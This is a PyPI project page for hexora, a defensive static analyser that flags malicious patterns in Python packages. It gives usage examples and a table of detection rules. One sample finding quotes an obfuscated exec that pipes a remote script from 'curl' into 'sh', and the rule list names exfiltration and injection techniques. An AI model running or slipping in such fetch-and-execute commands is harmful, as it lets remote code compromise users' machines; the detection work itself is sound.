Skip to main content

Static analysis of malicous Python scripts.

Project description

hexora

PyPI - Version

Hexora is a static analysis tool designed to detect malicious and harmful patterns in Python code.

It can be used to:

  • Audit project dependencies to catch potential supply-chain attacks
  • Detect malicious scripts found on platforms like Pastebin, GitHub, or open directories
  • Analyze IoC files from past security incidents
  • Audit new packages uploaded to PyPi.
Hexora example

Examples

For output examples, please see docs/examples.md file.

Installation

Using Python

Requires Python 3.9+.

pip install hexora

Using uv:

uv tool install hexora

Usage

hexora --help

Audit single file

>  hexora audit test.py

warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
  ┌─ resources/test/test.py:3:8
  1  import pyperclip
2 3  data = pyperclip.paste()
          ^^^^^^^^^^^^^^^^^ HX2000
    = Confidence: High
    Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.

warning[HX3000]: Possible execution of unwanted code
   ┌─ resources/test/test.py:20:1
   19  (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20  _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
   

Audit directory

hexora audit --output-format terminal resources/test/

Audit packages from virtual environment

hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/

Where python3.11 is the version of the Python in virtual environment.

Tips:

  • Use --exclude to suppress certain rule codes (e.g., noisy imports) for a given run
  • Use --min-confidence to focus on high-confidence findings only.

Confidence indicates how a certain piece of code is malicious. Some libraries or code snippets are used for legit purposes, and it's hard to distinguish legit use-cases from malicious ones. That's why some matches have a low confidence level.

Some rules can have different confidence levels. Avoid filtering a lot of rules by codes unless you are very confident. For example, code and shell execution can have medium, high, and very high confidence. This depends on how the code was executed. If we detect an obfuscation attempt, we elevate confidence.

For example, this code will have a high confidence:

globals()["__builtins__"].eval("print(123)")

Usage in Python

>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
            'description': 'pyperclip can be used to copy and paste data from '
                           'the clipboard.',
            'label': 'pyperclip',
            'location': (7, 16),
            'rule': 'HX5010'},
           {'confidence': 'high',
            'description': 'Reading from the clipboard can be used to '
                           'exfiltrate sensitive data.',
            'label': 'pyperclip.paste',
            'location': (25, 42),
            'rule': 'HX2000'}],
 'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...

Testing Against Malicious Dataset

When developing new rules, you can use existing malicious datasets such as malicious-software-packages-dataset.

After cloning, point the benchmarking tool to the dataset directory:

cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt  --min-confidence high

Available rules

New rules are added regularly.

Right now, the following rules are available:

Code Name Description
HX1000 AppEnumeration Suspicious application enumeration.
HX1010 BrowserEnumeration Suspicious browser enumeration (apps, cookies, history, etc.).
HX1020 PathEnumeration Suspicious path enumeration.
HX1030 OSFingerprint Suspicious OS fingerprinting.
HX2000 ClipboardRead Reading from the clipboard.
HX2010 EnvAccess Access to a sensitive environment variable.
HX2020 ScreenshotCapture Capturing screenshots from the display.
HX3000 CodeExec Possible code execution.
HX3010 ShellExec Execution of a shell command.
HX3040 DLLInjection Possible DLL injection.
HX3050 DangerousExec Execution of potentially dangerous command inside a shell command.
HX3060 SuspiciousCall Suspicious function call.
HX4000 ObfuscatedShellExec Execution of an obfuscated shell command.
HX4010 ObfuscatedCodeExec Execution of obfuscated code.
HX5000 DunderImport Suspicious use of __import__.
HX5010 SuspiciousImport Suspicious import.
HX5020 CtypesImport Suspicious ctypes import.
HX5030 PickleImport Suspicious pickle import.
HX5040 StructImport Suspicious struct import.
HX5050 SocketImport Suspicious socket import.
HX5060 MarshalImport Suspicious marshal import.
HX6000 Base64String Long Base64-encoded string detected; possible code obfuscation.
HX6010 HexedLiterals List of hex-encoded literals detected; possible payload.
HX6020 HexedString Long hex-encoded string detected; possible payload.
HX6030 IntLiterals Large list of integer literals detected; possible code obfuscation.
HX6040 CVEInLiteral Literal contains a CVE identifier.
HX6050 SuspiciousLiteral Suspicious literal detected; possible data enumeration.
HX6060 PathTraversal Suspicious path traversal.
HX6070 BrowserExtension Enumeration of sensitive browser extensions.
HX6080 WebHook Suspicious webhook detected. Possible data exfiltration.
HX7000 SuspiciousFunctionName Suspicious function name.
HX7010 SuspiciousParameterName Suspicious parameter name.
HX7020 SuspiciousVariable Suspicious variable name.
HX9000 DataExfiltration Potential data exfiltration.
HX8000 BinaryDownload Suspicious binary download.
HX8010 BuiltinsVariable Suspicious builtin variable usage.
HX8020 SuspiciousComment Suspicious comment.
HX8030 SuspiciousWrite Suspicious write to the filesystem.

Credits

For parsing, we use AST parser from ruff library.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

hexora-0.2.4.tar.gz (5.8 kB view details)

Uploaded Source

Built Distributions

If you're not sure about the file name format, learn more about wheel file names.

hexora-0.2.4-cp314-cp314-win_amd64.whl (2.7 MB view details)

Uploaded CPython 3.14Windows x86-64

hexora-0.2.4-cp314-cp314-musllinux_1_2_x86_64.whl (2.9 MB view details)

Uploaded CPython 3.14musllinux: musl 1.2+ x86-64

hexora-0.2.4-cp314-cp314-manylinux_2_28_x86_64.whl (2.8 MB view details)

Uploaded CPython 3.14manylinux: glibc 2.28+ x86-64

hexora-0.2.4-cp314-cp314-manylinux_2_28_aarch64.whl (2.7 MB view details)

Uploaded CPython 3.14manylinux: glibc 2.28+ ARM64

hexora-0.2.4-cp314-cp314-macosx_11_0_arm64.whl (2.5 MB view details)

Uploaded CPython 3.14macOS 11.0+ ARM64

hexora-0.2.4-cp314-cp314-macosx_10_15_x86_64.whl (2.7 MB view details)

Uploaded CPython 3.14macOS 10.15+ x86-64

hexora-0.2.4-cp313-cp313-win_amd64.whl (2.5 MB view details)

Uploaded CPython 3.13Windows x86-64

hexora-0.2.4-cp313-cp313-musllinux_1_2_x86_64.whl (2.9 MB view details)

Uploaded CPython 3.13musllinux: musl 1.2+ x86-64

hexora-0.2.4-cp313-cp313-manylinux_2_28_x86_64.whl (2.8 MB view details)

Uploaded CPython 3.13manylinux: glibc 2.28+ x86-64

hexora-0.2.4-cp313-cp313-manylinux_2_28_aarch64.whl (2.7 MB view details)

Uploaded CPython 3.13manylinux: glibc 2.28+ ARM64

hexora-0.2.4-cp313-cp313-macosx_11_0_arm64.whl (2.5 MB view details)

Uploaded CPython 3.13macOS 11.0+ ARM64

hexora-0.2.4-cp313-cp313-macosx_10_13_x86_64.whl (2.7 MB view details)

Uploaded CPython 3.13macOS 10.13+ x86-64

hexora-0.2.4-cp312-cp312-win_amd64.whl (2.5 MB view details)

Uploaded CPython 3.12Windows x86-64

hexora-0.2.4-cp312-cp312-musllinux_1_2_x86_64.whl (2.9 MB view details)

Uploaded CPython 3.12musllinux: musl 1.2+ x86-64

hexora-0.2.4-cp312-cp312-manylinux_2_28_x86_64.whl (2.8 MB view details)

Uploaded CPython 3.12manylinux: glibc 2.28+ x86-64

hexora-0.2.4-cp312-cp312-manylinux_2_28_aarch64.whl (2.7 MB view details)

Uploaded CPython 3.12manylinux: glibc 2.28+ ARM64

hexora-0.2.4-cp312-cp312-macosx_11_0_arm64.whl (2.5 MB view details)

Uploaded CPython 3.12macOS 11.0+ ARM64

hexora-0.2.4-cp312-cp312-macosx_10_13_x86_64.whl (2.7 MB view details)

Uploaded CPython 3.12macOS 10.13+ x86-64

hexora-0.2.4-cp311-cp311-win_amd64.whl (2.5 MB view details)

Uploaded CPython 3.11Windows x86-64

hexora-0.2.4-cp311-cp311-musllinux_1_2_x86_64.whl (2.9 MB view details)

Uploaded CPython 3.11musllinux: musl 1.2+ x86-64

hexora-0.2.4-cp311-cp311-manylinux_2_28_x86_64.whl (2.8 MB view details)

Uploaded CPython 3.11manylinux: glibc 2.28+ x86-64

hexora-0.2.4-cp311-cp311-manylinux_2_28_aarch64.whl (2.7 MB view details)

Uploaded CPython 3.11manylinux: glibc 2.28+ ARM64

hexora-0.2.4-cp311-cp311-macosx_11_0_arm64.whl (2.5 MB view details)

Uploaded CPython 3.11macOS 11.0+ ARM64

hexora-0.2.4-cp311-cp311-macosx_10_12_x86_64.whl (2.7 MB view details)

Uploaded CPython 3.11macOS 10.12+ x86-64

hexora-0.2.4-cp310-cp310-win_amd64.whl (2.5 MB view details)

Uploaded CPython 3.10Windows x86-64

hexora-0.2.4-cp310-cp310-musllinux_1_2_x86_64.whl (2.9 MB view details)

Uploaded CPython 3.10musllinux: musl 1.2+ x86-64

hexora-0.2.4-cp310-cp310-manylinux_2_28_x86_64.whl (2.8 MB view details)

Uploaded CPython 3.10manylinux: glibc 2.28+ x86-64

hexora-0.2.4-cp310-cp310-manylinux_2_28_aarch64.whl (2.7 MB view details)

Uploaded CPython 3.10manylinux: glibc 2.28+ ARM64

hexora-0.2.4-cp310-cp310-macosx_11_0_arm64.whl (2.5 MB view details)

Uploaded CPython 3.10macOS 11.0+ ARM64

hexora-0.2.4-cp310-cp310-macosx_10_12_x86_64.whl (2.7 MB view details)

Uploaded CPython 3.10macOS 10.12+ x86-64

hexora-0.2.4-cp39-cp39-win_amd64.whl (2.5 MB view details)

Uploaded CPython 3.9Windows x86-64

hexora-0.2.4-cp39-cp39-musllinux_1_2_x86_64.whl (2.9 MB view details)

Uploaded CPython 3.9musllinux: musl 1.2+ x86-64

hexora-0.2.4-cp39-cp39-manylinux_2_28_x86_64.whl (2.8 MB view details)

Uploaded CPython 3.9manylinux: glibc 2.28+ x86-64

hexora-0.2.4-cp39-cp39-manylinux_2_28_aarch64.whl (2.7 MB view details)

Uploaded CPython 3.9manylinux: glibc 2.28+ ARM64

hexora-0.2.4-cp39-cp39-macosx_11_0_arm64.whl (2.5 MB view details)

Uploaded CPython 3.9macOS 11.0+ ARM64

hexora-0.2.4-cp39-cp39-macosx_10_12_x86_64.whl (2.7 MB view details)

Uploaded CPython 3.9macOS 10.12+ x86-64

File details

Details for the file hexora-0.2.4.tar.gz.

File metadata

  • Download URL: hexora-0.2.4.tar.gz
  • Upload date:
  • Size: 5.8 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for hexora-0.2.4.tar.gz
Algorithm Hash digest
SHA256 93efe4fbb5a2b6bb82c7219a8c8a95b5f18bba876dddfa13f9023b0224145590
MD5 276357537dccaf03d36c08397f3ddf1b
BLAKE2b-256 782e7880d2a037ad861fe51f024a8053552591bb7477e4dd790491141a392dbd

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp314-cp314-win_amd64.whl.

File metadata

  • Download URL: hexora-0.2.4-cp314-cp314-win_amd64.whl
  • Upload date:
  • Size: 2.7 MB
  • Tags: CPython 3.14, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for hexora-0.2.4-cp314-cp314-win_amd64.whl
Algorithm Hash digest
SHA256 eb4a33c7016f98c82e0234ec9902117437d15f3c7b1ef4fa999a93112181b98e
MD5 5e1a4798b39f3bad458a5f2c2d2dc656
BLAKE2b-256 9a494dd43b82e6158bec19677b88e05eb34e44b173b05fed8584610f3e89a58a

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp314-cp314-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.4-cp314-cp314-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 1b17d867169b8787d33b348c99b4ad0bcdac3781840ef7b09a4edeb5a07e62d4
MD5 cabc3af450a47d2a8cc4482618ff1780
BLAKE2b-256 8531e2ba28b08da498b317ece4b248f42c866faf628b55c5dbe59b6053c5fe30

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp314-cp314-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.4-cp314-cp314-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 31bf3c3adae6cf632f26655d825e67914bad3624ba25231d490fe20f30558699
MD5 2bbd515fb5d2c70f1d0d6362916bff5c
BLAKE2b-256 dbf53b5fe22510d324186f87aa88861f635add69e41169bf3db848a3a1460778

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp314-cp314-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.2.4-cp314-cp314-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 f6d34d94c6b2964320789d83d89cdb55199070188663a818295b37e1ec8e964a
MD5 81ac82655d7e90a620ab73a1ae4e1d71
BLAKE2b-256 303e18473736956b88e81f3b438077f08b5c8c44e0e929b094638b2d07c0227c

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp314-cp314-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.2.4-cp314-cp314-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 5e6d3db6c27b893b17499a398bf596c11493d017700b23a5e6ce12d0c4fac36d
MD5 9f461dbb5ec93efe5b48c67cab496d6e
BLAKE2b-256 d9ed41378bec70b247292d9b8fd6a2c492cdd89b8d0de288a42dc11e26573d2c

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp314-cp314-macosx_10_15_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.4-cp314-cp314-macosx_10_15_x86_64.whl
Algorithm Hash digest
SHA256 d10f6b9dcfea231fe577876a141508a6f61917cf294998a7c69021d61a3e1233
MD5 2d41a850f8c45e0ac9c15f769e999464
BLAKE2b-256 a685e25424c0fa3e75d1730852884ce3d8671cedaa43441d761ccc98ccf8ac8e

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp313-cp313-win_amd64.whl.

File metadata

  • Download URL: hexora-0.2.4-cp313-cp313-win_amd64.whl
  • Upload date:
  • Size: 2.5 MB
  • Tags: CPython 3.13, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for hexora-0.2.4-cp313-cp313-win_amd64.whl
Algorithm Hash digest
SHA256 4f12e6deaadff2d48033414e14b4a10b1cbc1f94e0d5e8fc870d3389a6e65a9a
MD5 36e78cd721c8c657edf5165c1a652a70
BLAKE2b-256 9c7e16c643c42e095b1883c92b575bcabfbf54bc5a52e00787b54da0626a9bf6

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp313-cp313-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.4-cp313-cp313-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 bb92500af91dae01d5086661db8837c08e898d14da86d59b6ccee2c37c2b7e11
MD5 62e9ce8845432589f2546fcad668e5fb
BLAKE2b-256 561662dfa3b7f53ecf39a66f415b3af06fcbb5484338ee9604f2e7986a4cd621

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp313-cp313-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.4-cp313-cp313-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 5183358c7c4029654f50920d41120d5e0b76ec2c219f3f50550b930fe351217b
MD5 f35fc3b8ef0eea1444c4fdaa4e5bf441
BLAKE2b-256 c2bbc7132d909bc78a7227aa99fa123edb637fb38c982455402413fc66dcbd5f

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp313-cp313-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.2.4-cp313-cp313-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 3ff4f3508e00d01dfd6e5f06948211c05124235ecdf0dafccc40c190a8bb0c4b
MD5 2d14bdde1e11e7d92441fd1161653466
BLAKE2b-256 e0fb6698cff2d634d3e825a433e2809366a1378648cf5e2c94b4de0f272a5b8a

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp313-cp313-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.2.4-cp313-cp313-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 1d2d51a09de655986a32f50d33f9252baf2a6a37fcb8cb8b0d41065c47235fca
MD5 a263334016e1b16fb711b83aa7584f80
BLAKE2b-256 0030925247e41edea4436e04e1324f8a90d781e443892af934c9e1a5d2672e65

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp313-cp313-macosx_10_13_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.4-cp313-cp313-macosx_10_13_x86_64.whl
Algorithm Hash digest
SHA256 e50d6ba514fcb9d53d33edc55ade000eb034e82e8d6e9c775d205fe252a73ade
MD5 b4b168f5af9e2bd3ef26789089763c01
BLAKE2b-256 ae5d3d1feb4f7a2bfa75987cdf7049af4999ccb89392971a200a25e2c3901c25

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp312-cp312-win_amd64.whl.

File metadata

  • Download URL: hexora-0.2.4-cp312-cp312-win_amd64.whl
  • Upload date:
  • Size: 2.5 MB
  • Tags: CPython 3.12, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for hexora-0.2.4-cp312-cp312-win_amd64.whl
Algorithm Hash digest
SHA256 fffde08047b909ed5dfa767e33168ae35565195d29f64b600cfba861b19ee1ae
MD5 36c383490cb39318b2ad1bb52d01b4d7
BLAKE2b-256 cfbc3ddc0ba7696892eacd0211818d42d77ca661f5ab09227337a86addcb05ac

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp312-cp312-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.4-cp312-cp312-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 0e3910d38f17d3d17670c72551ba01f980456bc4bfe6f4909a241c8202a7f786
MD5 c3314e12cfc65b795e4b5d9c7597b345
BLAKE2b-256 fce7d463e6c9b902f391922d8f99f7626cc30f4a19e09f7867331783035576f2

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp312-cp312-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.4-cp312-cp312-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 682688ccaf898c15b344da6530e38e418e2c05af51b77cb58e7d7ce902c779c7
MD5 bf574fe5000fa2c5ba8d5763f4248bf8
BLAKE2b-256 f7f3c236be356f8c66d748fe994a56f056ec070dbd45e80231fe01f422d2faf6

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp312-cp312-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.2.4-cp312-cp312-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 457114c2dbcaaaf09dd408f0e0a5022055813e217f319fc4b838bd7b30aa1c44
MD5 afe5eca6e46d33cc123e0b1a2f99396a
BLAKE2b-256 d21137ad006a044d20be0d7695d73c032a35aace63a41f12e9a2958fa6898d84

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp312-cp312-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.2.4-cp312-cp312-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 6363b94c641ffe3934c7a1412702756299cd1df6a90ecdb71bf996095ddd59bb
MD5 06587ec386234d06086e8f39cce0ced5
BLAKE2b-256 3f88181088f37bc12b04bad596e6b02f18df8e2f9350cdbb24c39dac3bd2f215

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp312-cp312-macosx_10_13_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.4-cp312-cp312-macosx_10_13_x86_64.whl
Algorithm Hash digest
SHA256 2eda62b9442d6071da3ae95b7f7c35c9ba9f241fc8b19d0b2c2a4a3130a6edaa
MD5 ee6f9e2274032f2d3ebd0160da4efa34
BLAKE2b-256 68c561285aa4c6107f232edf45b845853763a80d3e92560f244faa72e1fef22b

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp311-cp311-win_amd64.whl.

File metadata

  • Download URL: hexora-0.2.4-cp311-cp311-win_amd64.whl
  • Upload date:
  • Size: 2.5 MB
  • Tags: CPython 3.11, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for hexora-0.2.4-cp311-cp311-win_amd64.whl
Algorithm Hash digest
SHA256 9cd8d5db45249b6a23f2586094376961d533a9be8084781157f9bf2097aaabc5
MD5 372f42852e037ebddb30f5f9b66a0e6e
BLAKE2b-256 09e7512547d2b1d1a08bd52c2aacb48a33b61b67aa44f9e1ab43b2a0fec33850

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp311-cp311-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.4-cp311-cp311-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 7b9abce1a6e13bbcd6f994998ec21035f2a2b582d326ce0bd6af939d23e3539e
MD5 5cce25e492149b2e53069087baed263b
BLAKE2b-256 48ec45ff15d8d06d1b76268a839fc230604633e17c443ba31f62277b90720108

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp311-cp311-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.4-cp311-cp311-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 e21173efb68536a803938fd76ef95b6f1ede245e0a9d813132fd422129b0fc8f
MD5 65fce9f745d5d47f7943490369d311fe
BLAKE2b-256 9c025179e2ee371feccc8e271bc6e4f97d3990500d1f52e46700e917f8550326

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp311-cp311-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.2.4-cp311-cp311-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 669558a9ec11d4c763e4de314308c53ed7d255e82da1c4469c8537b6d4399d97
MD5 26c2e4521c685cc15170d53ecc4092cf
BLAKE2b-256 e5b0781e6b28a57753aed2c20daad69c029c416eba1fcfd771692c491bce14d9

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp311-cp311-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.2.4-cp311-cp311-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 1b2d5f2841b5a430745680746501d888a3222036a16c2299a2db0b5e8e42a9a3
MD5 1c822f18165ec90d3805daa2e2e6bdb0
BLAKE2b-256 6c7eab4edceab1ad805360505b6a72127cec25b1b260a9738521aad3ca3d3572

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp311-cp311-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.4-cp311-cp311-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 2afe4089395d5e3ded2678edc418756dacaadf9b8ec3b00eaeab1f83c5a637e4
MD5 7e62cee72eb1bc6ab6259ce038e06777
BLAKE2b-256 a8e0c46dcd9f5e18f677db7d93cc187e259989a5d05029c7ff8997ad8ff8d820

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp310-cp310-win_amd64.whl.

File metadata

  • Download URL: hexora-0.2.4-cp310-cp310-win_amd64.whl
  • Upload date:
  • Size: 2.5 MB
  • Tags: CPython 3.10, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for hexora-0.2.4-cp310-cp310-win_amd64.whl
Algorithm Hash digest
SHA256 808616a9425ff8aef88e507f8259298dffd3017a782b3229b86f97a610533701
MD5 6eb896d233e6a168e7bb122ee87ec03e
BLAKE2b-256 4d75bb5bce1969c2b95f89edc79ff997afb1ba6d28072878a3dec0bd360c8666

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp310-cp310-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.4-cp310-cp310-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 9a8154bd774c724666eab1fb7d4201d592bde2dd8ebc13b102b3c2a50771e3c7
MD5 3473f11f12ddfeb144bf4f510ae40d07
BLAKE2b-256 ad746daee669028327d1fc90dd26a5c530c2a063a25fe4f044a987b94254ea03

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp310-cp310-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.4-cp310-cp310-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 a9de1bdf0a5b1321e9cbb49738a8c87566dbd4b2ea203cf52ccbe04a9f67a101
MD5 ee51a25e589c0d8e576e4f81b14ef9e0
BLAKE2b-256 5cf216cf3cf57e6f3e5a2edc1a8af73291627a655ef2464cc67d7a2137ea8529

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp310-cp310-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.2.4-cp310-cp310-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 4a0b863b822eb8427a9087f4cca740fb496ffaf583a72ce20b000f8bfe74fbd1
MD5 6d6caab21e2f0d63b70be4f94b5bedb0
BLAKE2b-256 f72037e9de449e90e91c38e0919563f4feb3a65f17eb30f29991c9f74eedc179

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp310-cp310-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.2.4-cp310-cp310-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 cdeb80dfb8a752bf97d99a5b1ef78845f1103d935dc710e659a845995e8fbb77
MD5 db15bc92c5b9efb7bb7bba3930dc6f47
BLAKE2b-256 5666fb67001b09bde31693adad5a284670d6f8e18404658f337fff9e9074c992

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp310-cp310-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.4-cp310-cp310-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 992c56d89629dfc16201f1aacd60ddca901e114117370a8aad69b71b6a9ea4b2
MD5 ebc1a3d89a7720926d09123fa8ddc493
BLAKE2b-256 e20e3f1247fe743f8086eb474cc013bcd760efa5a7a5115d95e4ba231c1865c2

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp39-cp39-win_amd64.whl.

File metadata

  • Download URL: hexora-0.2.4-cp39-cp39-win_amd64.whl
  • Upload date:
  • Size: 2.5 MB
  • Tags: CPython 3.9, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for hexora-0.2.4-cp39-cp39-win_amd64.whl
Algorithm Hash digest
SHA256 8bac26726f77374093fc605a6d2cf4a21c9ed147e8988082a40815cbd5055fd9
MD5 465be684c878c3b7754a512b4e3bacf3
BLAKE2b-256 4d436ed0c526f47590e5835db7f3a7f051b79029346a8449d13d9e3ce5430722

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp39-cp39-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.4-cp39-cp39-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 bd1168bfce355a54e34c3d8a5c70579245ef7dc90bae725ac3392122db012b5b
MD5 b03b8ad8bd80f1934eba6c45d6b96af8
BLAKE2b-256 9986583269dbb138e55fc5e4de38ca80696a5ee2de75e4f286c9c81a28c24b8e

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp39-cp39-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.4-cp39-cp39-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 0f1426139ba8fd543b56916eebb895f5f9f9bdcabe231d7fcc1020b9d10e4a10
MD5 70bcf9b4f438f389e5e5d23af5a6b60e
BLAKE2b-256 7419973641e8a3999bc59bebab29a8936732dff4a07d52eabffb8e5604dd48cf

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp39-cp39-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.2.4-cp39-cp39-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 23023dabaa84e71b4ee682ba8269f1994485ae425b013f1b4be23f4805ed4d2b
MD5 2c690b763fd2dd60fc75e0b5f0f17326
BLAKE2b-256 6fa4c21202ed4dc8079452d9157ba0aa0a85df01374c3a71736e2df20c08349d

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp39-cp39-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.2.4-cp39-cp39-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 8021a72717e762d59c72b288af1d3e009489f8fec358c9cbf91895865b177056
MD5 35d9db4204891d747353493db1ad991d
BLAKE2b-256 2298cf74451ac27b1fe7935d08b5c2ac93c09e547d12d4e6d024fe0cf81770e0

See more details on using hashes here.

File details

Details for the file hexora-0.2.4-cp39-cp39-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.4-cp39-cp39-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 cdfff7c87ff98d610564fd4627ed766c27409822b63db499d9e673af8b169da9
MD5 2dba40ca07be8ba31d11edae9c8e07b8
BLAKE2b-256 9b33d27cac1214835b333c8ffb09d954c79c3fbb9e81c7d309ea244b9b34672f

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page